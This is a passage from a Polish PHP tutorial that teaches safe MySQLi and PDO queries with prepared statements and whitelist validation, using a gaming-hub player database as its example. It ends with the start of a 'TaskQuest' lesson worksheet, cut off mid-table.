    &lt;input type="number" name="min_level" placeholder="Min. poziom" min="1" value="&lt;?= htmlspecialchars($_POST&#91;'min_level'] ?? '') ?&gt;"&gt;
    
    &lt;button type="submit" name="szukaj"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 5: Ranking graczy &#8211; sortowanie i limit (GET)</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">ranking.php?sort=level&amp;order=desc&amp;limit=10</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ranking.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET') {
    // Pobieramy parametry z URL
    $sort = $_GET&#91;'sort'] ?? 'level';
    $order = $_GET&#91;'order'] ?? 'desc';
    $limit = (int)($_GET&#91;'limit'] ?? 10);
    
    // Walidacja parametrów (whitelist - tylko dozwolone wartości)
    $allowed_sort = &#91;'level', 'coins', 'wins', 'games_played'];
    $allowed_order = &#91;'asc', 'desc'];
    
    if (!in_array($sort, $allowed_sort)) {
        $sort = 'level';
    }
    
    if (!in_array($order, $allowed_order)) {
        $order = 'desc';
    }
    
    if ($limit &lt; 1 || $limit &gt; 100) {
        $limit = 10;
    }
    
    // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
    // Kolumny sortowania są z whitelisty, więc bezpieczne
    $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT ?";
    $stmt = $db-&gt;prepare($sql);
    $stmt-&gt;bind_param("i", $limit);
    $stmt-&gt;execute();
    
    $wynik = $stmt-&gt;get_result();
    
    $sort_label = &#91;
        'level' =&gt; 'poziomu',
        'coins' =&gt; 'coins',
        'wins' =&gt; 'wygranych',
        'games_played' =&gt; 'rozegranych gier'
    ];
    
    echo "&lt;h1&gt;Ranking graczy (wg {$sort_label&#91;$sort]})&lt;/h1&gt;";
    echo "&lt;p&gt;Top {$limit} graczy&lt;/p&gt;";
    
    echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
    echo '&lt;tr style="background:#007bff; color:white;"&gt;
            &lt;th&gt;#&lt;/th&gt;
            &lt;th&gt;Username&lt;/th&gt;
            &lt;th&gt;Level&lt;/th&gt;
            &lt;th&gt;Rank&lt;/th&gt;
            &lt;th&gt;Coins&lt;/th&gt;
            &lt;th&gt;Wins&lt;/th&gt;
            &lt;th&gt;Games&lt;/th&gt;
          &lt;/tr&gt;';
    
    $pozycja = 1;
    while ($gracz = $wynik-&gt;fetch_assoc()) {
        $username = htmlspecialchars($gracz&#91;'username']);
        $coins = number_format($gracz&#91;'coins']);
        
        echo "&lt;tr&gt;";
        echo "&lt;td&gt;&lt;strong&gt;#{$pozycja}&lt;/strong&gt;&lt;/td&gt;";
        echo "&lt;td&gt;{$username}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
        echo "&lt;td&gt;{$coins}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'wins']}&lt;/td&gt;";
        echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
        echo "&lt;/tr&gt;";
        $pozycja++;
    }
    
    echo '&lt;/table&gt;';
    
    echo "&lt;br&gt;&lt;p&gt;Zmień sortowanie:&lt;/p&gt;";
    echo "&lt;a href='ranking.php?sort=level&amp;order=desc&amp;limit=10'&gt;Top 10 Level&lt;/a&gt; | ";
    echo "&lt;a href='ranking.php?sort=coins&amp;order=desc&amp;limit=5'&gt;Top 5 Coins&lt;/a&gt; | ";
    echo "&lt;a href='ranking.php?sort=wins&amp;order=desc&amp;limit=20'&gt;Top 20 Wins&lt;/a&gt;";
    
    $stmt-&gt;close();
}

$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// ranking.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET') {
        // Pobieramy parametry z URL
        $sort = $_GET&#91;'sort'] ?? 'level';
        $order = $_GET&#91;'order'] ?? 'desc';
        $limit = (int)($_GET&#91;'limit'] ?? 10);
        
        // Walidacja parametrów (whitelist - tylko dozwolone wartości)
        $allowed_sort = &#91;'level', 'coins', 'wins', 'games_played'];
        $allowed_order = &#91;'asc', 'desc'];
        
        if (!in_array($sort, $allowed_sort)) {
            $sort = 'level';
        }
        
        if (!in_array($order, $allowed_order)) {
            $order = 'desc';
        }
        
        if ($limit &lt; 1 || $limit &gt; 100) {
            $limit = 10;
        }
        
        // BEZPIECZNE - używamy walidacji + prepared statement dla limitu
        // Kolumny sortowania są z whitelisty, więc bezpieczne
        $sql = "SELECT * FROM players ORDER BY {$sort} {$order} LIMIT :limit";
        $stmt = $pdo-&gt;prepare($sql);
        $stmt-&gt;bindValue(':limit', $limit, PDO::PARAM_INT);
        $stmt-&gt;execute();
        
        $wyniki = $stmt-&gt;fetchAll();
        
        $sort_label = &#91;
            'level' =&gt; 'poziomu',
            'coins' =&gt; 'coins',
            'wins' =&gt; 'wygranych',
            'games_played' =&gt; 'rozegranych gier'
        ];
        
        echo "&lt;h1&gt;Ranking graczy (wg {$sort_label&#91;$sort]})&lt;/h1&gt;";
        echo "&lt;p&gt;Top {$limit} graczy&lt;/p&gt;";
        
        echo '&lt;table border="1" cellpadding="10" style="width:100%; border-collapse:collapse;"&gt;';
        echo '&lt;tr style="background:#007bff; color:white;"&gt;
                &lt;th&gt;#&lt;/th&gt;
                &lt;th&gt;Username&lt;/th&gt;
                &lt;th&gt;Level&lt;/th&gt;
                &lt;th&gt;Rank&lt;/th&gt;
                &lt;th&gt;Coins&lt;/th&gt;
                &lt;th&gt;Wins&lt;/th&gt;
                &lt;th&gt;Games&lt;/th&gt;
              &lt;/tr&gt;';
        
        $pozycja = 1;
        foreach ($wyniki as $gracz) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;tr&gt;";
            echo "&lt;td&gt;&lt;strong&gt;#{$pozycja}&lt;/strong&gt;&lt;/td&gt;";
            echo "&lt;td&gt;{$username}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'level']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'rank_name']}&lt;/td&gt;";
            echo "&lt;td&gt;{$coins}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'wins']}&lt;/td&gt;";
            echo "&lt;td&gt;{$gracz&#91;'games_played']}&lt;/td&gt;";
            echo "&lt;/tr&gt;";
            $pozycja++;
        }
        
        echo '&lt;/table&gt;';
        
        echo "&lt;br&gt;&lt;p&gt;Zmień sortowanie:&lt;/p&gt;";
        echo "&lt;a href='ranking.php?sort=level&amp;order=desc&amp;limit=10'&gt;Top 10 Level&lt;/a&gt; | ";
        echo "&lt;a href='ranking.php?sort=coins&amp;order=desc&amp;limit=5'&gt;Top 5 Coins&lt;/a&gt; | ";
        echo "&lt;a href='ranking.php?sort=wins&amp;order=desc&amp;limit=20'&gt;Top 20 Wins&lt;/a&gt;";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 6: Wyszukiwanie LIKE &#8211; dane z GET</h3>



<p class="wp-block-paragraph"><strong>Adres URL:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj.php?q=Dragon</code></p>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// szukaj.php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Pobieramy fraze z URL
$szukaj = trim($_GET&#91;'q'] ?? '');

if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'q'])) {
    // BEZPIECZNE - Prepared statement z LIKE
    $stmt = $db-&gt;prepare("SELECT * FROM players WHERE username LIKE ? OR email LIKE ?");
    
    // Dodajemy % do wyszukiwania
    $szukaj_wildcard = "%{$szukaj}%";
    $stmt-&gt;bind_param("ss", $szukaj_wildcard, $szukaj_wildcard);
    $stmt-&gt;execute();
    
    $wynik = $stmt-&gt;get_result();
    
    $safe_search = htmlspecialchars($szukaj);
    
    if ($wynik-&gt;num_rows &gt; 0) {
        echo "&lt;h2&gt;Wyniki wyszukiwania: \"{$safe_search}\"&lt;/h2&gt;";
        echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows} graczy&lt;/p&gt;&lt;br&gt;";
        
        while ($gracz = $wynik-&gt;fetch_assoc()) {
            $username = htmlspecialchars($gracz&#91;'username']);
            $email = htmlspecialchars($gracz&#91;'email']);
            $coins = number_format($gracz&#91;'coins']);
            
            echo "&lt;div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'&gt;";
            echo "&lt;strong&gt;{$username}&lt;/strong&gt; (Level: {$gracz&#91;'level']}, Rank: {$gracz&#91;'rank_name']})&lt;br&gt;";
            echo "{$email} | {$coins} coins&lt;br&gt;";
            echo "&lt;a href='profil.php?id={$gracz&#91;'id']}'&gt;Zobacz profil&lt;/a&gt;";
            echo "&lt;/div&gt;";
        }
    } else {
        echo "&lt;p&gt;Nie znaleziono graczy dla frazy: \"{$safe_search}\"&lt;/p&gt;";
    }
    
    $stmt-&gt;close();
} else {
    echo "&lt;p&gt;Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)&lt;/p&gt;";
}

$db-&gt;close();

echo "&lt;br&gt;&lt;hr&gt;";
echo "&lt;p&gt;Przykłady wyszukiwań:&lt;/p&gt;";
echo "&lt;a href='szukaj.php?q=Dragon'&gt;szukaj.php?q=Dragon&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=Gamer'&gt;szukaj.php?q=Gamer&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=@example.com'&gt;szukaj.php?q=@example.com&lt;/a&gt;";
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// szukaj.php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // Pobieramy fraze z URL
    $szukaj = trim($_GET&#91;'q'] ?? '');
    
    if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'q'])) {
        // BEZPIECZNE - Prepared statement z LIKE
        $stmt = $pdo-&gt;prepare("SELECT * FROM players WHERE username LIKE :szukaj OR email LIKE :szukaj");
        
        // Dodajemy % do wyszukiwania
        $szukaj_wildcard = "%{$szukaj}%";
        $stmt-&gt;execute(&#91;'szukaj' =&gt; $szukaj_wildcard]);
        
        $wyniki = $stmt-&gt;fetchAll();
        
        $safe_search = htmlspecialchars($szukaj);
        $liczba = count($wyniki);
        
        if ($liczba &gt; 0) {
            echo "&lt;h2&gt;Wyniki wyszukiwania: \"{$safe_search}\"&lt;/h2&gt;";
            echo "&lt;p&gt;Znaleziono: {$liczba} graczy&lt;/p&gt;&lt;br&gt;";
            
            foreach ($wyniki as $gracz) {
                $username = htmlspecialchars($gracz&#91;'username']);
                $email = htmlspecialchars($gracz&#91;'email']);
                $coins = number_format($gracz&#91;'coins']);
                
                echo "&lt;div style='background:#f4f4f4; padding:15px; margin:10px 0; border-radius:8px;'&gt;";
                echo "&lt;strong&gt;{$username}&lt;/strong&gt; (Level: {$gracz&#91;'level']}, Rank: {$gracz&#91;'rank_name']})&lt;br&gt;";
                echo "{$email} | {$coins} coins&lt;br&gt;";
                echo "&lt;a href='profil.php?id={$gracz&#91;'id']}'&gt;Zobacz profil&lt;/a&gt;";
                echo "&lt;/div&gt;";
            }
        } else {
            echo "&lt;p&gt;Nie znaleziono graczy dla frazy: \"{$safe_search}\"&lt;/p&gt;";
        }
    } else {
        echo "&lt;p&gt;Wpisz frazę do wyszukania (np. szukaj.php?q=Dragon)&lt;/p&gt;";
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;

echo "&lt;br&gt;&lt;hr&gt;";
echo "&lt;p&gt;Przykłady wyszukiwań:&lt;/p&gt;";
echo "&lt;a href='szukaj.php?q=Dragon'&gt;szukaj.php?q=Dragon&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=Gamer'&gt;szukaj.php?q=Gamer&lt;/a&gt;&lt;br&gt;";
echo "&lt;a href='szukaj.php?q=@example.com'&gt;szukaj.php?q=@example.com&lt;/a&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 7: Statystyki &#8211; funkcje agregujące</h3>



<h4 class="wp-block-heading"><strong>MySQLi obiektowo:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
$stmt = $db-&gt;prepare("SELECT 
    COUNT(*) as total_players,
    AVG(level) as avg_level,
    SUM(coins) as total_coins,
    MAX(level) as max_level,
    MIN(level) as min_level,
    SUM(games_played) as total_games,
    SUM(wins) as total_wins,
    SUM(losses) as total_losses
FROM players");

$stmt-&gt;execute();
$wynik = $stmt-&gt;get_result();
$stats = $wynik-&gt;fetch_assoc();

$avg_level = round($stats&#91;'avg_level'], 1);
$total_coins = number_format($stats&#91;'total_coins']);
$total_games = number_format($stats&#91;'total_games']);
$total_wins = number_format($stats&#91;'total_wins']);
$total_losses = number_format($stats&#91;'total_losses']);

echo "&lt;h2&gt;Statystyki Gaming Hub&lt;/h2&gt;";
echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
echo "&lt;p&gt;Liczba graczy: &lt;strong&gt;{$stats&#91;'total_players']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Średni poziom: &lt;strong&gt;{$avg_level}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Łączne coins: &lt;strong&gt;{$total_coins}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Najwyższy poziom: &lt;strong&gt;{$stats&#91;'max_level']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Najniższy poziom: &lt;strong&gt;{$stats&#91;'min_level']}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Rozegrane gry: &lt;strong&gt;{$total_games}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Wygrane: &lt;strong&gt;{$total_wins}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;p&gt;Przegrane: &lt;strong&gt;{$total_losses}&lt;/strong&gt;&lt;/p&gt;";
echo "&lt;/div&gt;";

$stmt-&gt;close();
$db-&gt;close();
?&gt;</code></pre>



<h4 class="wp-block-heading"><strong>PDO:</strong></h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        &#91;
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES =&gt; false
        ]
    );
    
    // BEZPIECZNE - Prepared statement (brak parametrów użytkownika)
    $stmt = $pdo-&gt;prepare("SELECT 
        COUNT(*) as total_players,
        AVG(level) as avg_level,
        SUM(coins) as total_coins,
        MAX(level) as max_level,
        MIN(level) as min_level,
        SUM(games_played) as total_games,
        SUM(wins) as total_wins,
        SUM(losses) as total_losses
    FROM players");
    
    $stmt-&gt;execute();
    $stats = $stmt-&gt;fetch();
    
    $avg_level = round($stats&#91;'avg_level'], 1);
    $total_coins = number_format($stats&#91;'total_coins']);
    $total_games = number_format($stats&#91;'total_games']);
    $total_wins = number_format($stats&#91;'total_wins']);
    $total_losses = number_format($stats&#91;'total_losses']);
    
    echo "&lt;h2&gt;Statystyki Gaming Hub&lt;/h2&gt;";
    echo "&lt;div style='background:#f4f4f4; padding:20px; border-radius:8px;'&gt;";
    echo "&lt;p&gt;Liczba graczy: &lt;strong&gt;{$stats&#91;'total_players']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Średni poziom: &lt;strong&gt;{$avg_level}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;ączne coins: &lt;strong&gt;{$total_coins}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Najwyższy poziom: &lt;strong&gt;{$stats&#91;'max_level']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Najniższy poziom: &lt;strong&gt;{$stats&#91;'min_level']}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Rozegrane gry: &lt;strong&gt;{$total_games}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Wygrane: &lt;strong&gt;{$total_wins}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;p&gt;Przegrane: &lt;strong&gt;{$total_losses}&lt;/strong&gt;&lt;/p&gt;";
    echo "&lt;/div&gt;";
    
} catch (PDOException $e) {
    error_log("DB Error: {$e-&gt;getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?&gt;</code></pre>



<h2 class="wp-block-heading">Whitelist vs Blacklist</h2>



<h3 class="wp-block-heading">Whitelist <strong>(ZALECANE)</strong>:</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Lista dozwolonych wartości
$allowed_sort = &#91;'level', 'coins', 'wins'];

if (in_array($_GET&#91;'sort'], $allowed_sort)) {
    $sort = $_GET&#91;'sort'];  // Bezpieczne
} else {
    $sort = 'level';  // Domyślna wartość
}</code></pre>



<h3 class="wp-block-heading">Blacklist<strong>&nbsp;(NIE ZALECANE):</strong></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// Próba blokowania "złych" wartości - NIGDY nie złapiesz wszystkich!
if ($_GET&#91;'sort'] != 'DROP' &amp;&amp; $_GET&#91;'sort'] != 'DELETE') {
    $sort = $_GET&#91;'sort'];  // NADAL NIEBEZPIECZNE!
}</code></pre>



<h2 class="wp-block-heading">Najlepsze praktyki</h2>



<h3 class="wp-block-heading">ZAWSZE:</h3>



<ol class="wp-block-list">
<li><strong>Używaj prepared statements</strong>&nbsp;dla WSZYSTKICH zapytań z danymi użytkownika</li>



<li><strong>Używaj PDO</strong>&nbsp;dla nowych projektów (uniwersalność + bezpieczeństwo)</li>



<li><strong>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code></strong>&nbsp;przy wyświetlaniu danych (ochrona XSS)</li>



<li><strong>Waliduj dane wejściowe</strong>&nbsp;(whitelist dla sortowania, LIMIT, itp.)</li>



<li><strong>Ustawiaj charset na utf8mb4</strong>&nbsp;(obsługa emoji i polskich znaków)</li>



<li><strong>Loguj błędy</strong>&nbsp;do pliku, nie pokazuj szczegółów użytkownikowi</li>



<li><strong>Używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">number_format()</code></strong>&nbsp;dla czytelności dużych liczb</li>



<li><strong>Rzutuj na właściwy typ</strong>&nbsp;&#8211;&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>&nbsp;dla liczb,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>&nbsp;dla stringów</li>
</ol>



<h3 class="wp-block-heading">NIGDY:</h3>



<ol class="wp-block-list">
<li><strong>Nie łącz zapytań SQL przez konkatenację</strong>&nbsp;z danymi użytkownika</li>



<li>Nie pokazuj szczegółów błędów SQL użytkownikowi końcowemu</li>



<li>Nie trzymaj danych dostępowych w kodzie (użyj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>)</li>



<li>Nie commituj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>&nbsp;do repozytorium</li>



<li>Nie używaj&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">root</code>&nbsp;bez hasła w środowisku produkcyjnym</li>



<li>Nie ufaj danym z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;&#8211; zawsze waliduj!</li>
</ol>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.8 — każdy gracz widzi swoje dane z bazy</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 17 TaskQuest ma bazę danych <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> z dwiema tabelami i danymi testowymi Kamy i Oli. Aplikacja jednak <strong>w ogóle z niej nie korzysta</strong>: zadania czyta z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, a XP i streak są wpisane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Kuba i Ola po zalogowaniu nadal widzą te same zadania i te same 99 XP.</p>



<p class="wp-block-paragraph">Dziś połączymy PHP z bazą i przełączymy stronę główną na dane z bazy. Po tej lekcji każdy użytkownik zobaczy <strong>własne</strong> zadania, <strong>własne</strong> XP i <strong>własny</strong> streak.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>łączyć się z bazą w PHP obiektowym <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>) i obsługiwać błąd połączenia wyjątkiem,</li>



<li>pisać zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AND</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">IS NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>,</li>



<li>odczytywać wynik zapytania wiersz po wierszu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>) i zamieniać wiersze w obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>,</li>



<li>rozpoznać <strong>SQL injection</strong> i przed nim się chronić: dane od użytkownika zawsze przekazujemy przez <strong>prepared statements</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>),</li>



<li>zapisywać typ „wartość albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>” w PHP (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?int</code>).</li>
</ul>



<p class="wp-block-paragraph">Efekt: logowanie sprawdza login w bazie, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> pobiera z bazy zalogowanego użytkownika i tylko jego zadania, a pod listą zadań pojawia się ranking najlepszych graczy.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Dziś tylko <strong>czytamy</strong> z bazy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>). Zapis (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>) to Lekcja 19. Dlatego <strong>dodawanie zadań jest w tej wersji wyłączone z nawigacji</strong>: formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> nadal zapisuje do CSV, a strona główna czyta już z bazy. W Lekcji 19 formularz przejdzie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> i wróci na stronę.</li>



<li>Logowanie nadal jest <strong>demonstracyjne</strong>: bez hasła. Różnica: login musi istnieć w bazie. Hasła — Lekcja 19 i 22.</li>



<li>Streak nadal jest liczony uproszczoną metodą z poprzednich lekcji. Prawdziwy streak (data wykonania zadania) — Lekcja 19.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> używamy wyłącznie <strong>obiektowo</strong>. W internecie (i w starszych materiałach) zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_connect()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">@new mysqli(...)</code> i sprawdzanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">connect_error</code>. My obsługujemy błędy <strong>wyjątkami</strong>, tak jak od Lekcji 12.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 17</h1>



<ol class="wp-block-list">
<li>Dlaczego w tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> jest kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, a nie ma kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>? Jak w PHP obliczymy <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>?</li>



<li>Kama ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 1, Ola ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> = 2. Która kolumna tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> mówi, czyje jest zadanie?</li>



<li>Czym dla bazy różnią się <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code>?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code>. Czego to jeszcze <strong>nie</strong> gwarantuje?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 17</th><th>Po Lekcji 18</th></tr></thead><tbody><tr><td>baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></td><td>istnieje, nieużywana</td><td><strong>zostaje bez zmian</strong> — teraz aplikacja z niej czyta</td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></td><td>istnieje</td><td><strong>zostaje bez zmian</strong></td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></td><td>bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> typu <code class="prettyprint lang-sql" style="font-size: 